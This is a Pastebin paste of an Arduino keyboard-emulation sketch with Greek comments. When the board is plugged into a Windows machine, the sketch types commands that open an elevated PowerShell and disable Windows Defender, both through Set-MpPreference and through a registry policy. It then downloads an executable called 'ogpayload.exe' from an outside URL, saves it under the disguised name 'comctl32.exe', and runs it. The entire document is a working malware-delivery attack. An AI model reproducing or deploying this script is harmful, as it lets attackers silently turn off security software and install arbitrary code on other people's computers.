Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //ορισμος της βιβλιοθηκης
- #include "Keyboard.h"
- void typeKey(uint8_t key)
- {
- Keyboard.press(key);
- delay(50);
- Keyboard.release(key);
- }
- //η κυρια συναρτηση που θα τρεξει μια φορα
- void setup()
- {
- //αρχη της βιβλιοθηκης
- Keyboard.begin();
- //παυση 500ms
- delay(500);
- delay(2000);
- //πληκτρολογηση του windows key
- Keyboard.press(KEY_LEFT_GUI);
- //πληκτρολογηση του r
- Keyboard.press('r');
- //τελος πληκτρολογησης
- Keyboard.releaseAll();
- delay(300);
- //πληκτρολογηση χαρακτηρων
- Keyboard.print("cmd");
- //πληκτρολογηση του enter
- typeKey(KEY_RETURN);
- delay(100);
- Keyboard.print("test github.com/TasosY2K");
- delay(100);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('r');
- Keyboard.releaseAll();
- delay(300);
- Keyboard.print("powershell Start-Process powershell -Verb runAs");
- typeKey(KEY_RETURN);
- delay(10000);
- Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
- typeKey(KEY_RETURN);
- Keyboard.print("Set-Itemproperty -path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender' -Name 'DisableAntiSpyware' -value '1'");
- typeKey(KEY_RETURN);
- Keyboard.print("$url = 'https://cdn.glitch.com/9b056378-bf74-4369-84f2-24a449d0943e%2Fogpayload.exe?1553058647982';");
- typeKey(KEY_RETURN);
- Keyboard.print("$file = 'C:\\Users\\comctl32.exe';");
- typeKey(KEY_RETURN);
- Keyboard.print("$down = New-Object System.Net.WebClient; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");
- typeKey(KEY_RETURN);
- // Ending stream
- Keyboard.end();
- }
- /* Unused endless loop */
- void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement